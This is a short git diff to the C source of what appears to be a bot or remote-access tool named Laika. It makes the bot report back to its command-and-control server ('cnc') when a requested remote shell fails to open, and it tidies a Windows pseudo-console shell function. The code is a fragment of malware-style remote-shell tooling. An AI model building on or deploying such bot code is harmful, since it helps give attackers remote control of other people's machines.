diff --git a/bot/src/shell.c b/bot/src/shell.c index 3b68a1b..e8abd93 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -20,8 +20,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t)); laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t)); - /* open shell */ - bot->shell = laikaB_newShell(bot, cols, rows); + /* open shell & if we failed, tell cnc */ + if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL) + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); } void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { diff --git a/bot/win/winshell.c b/bot/win/winshell.c index 1abf7d2..af541cb 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -79,9 +79,9 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {; - HRESULT hr; TCHAR szComspec[MAX_PATH]; struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); + HRESULT hr; ZeroMemory(shell, sizeof(struct sLaika_shell));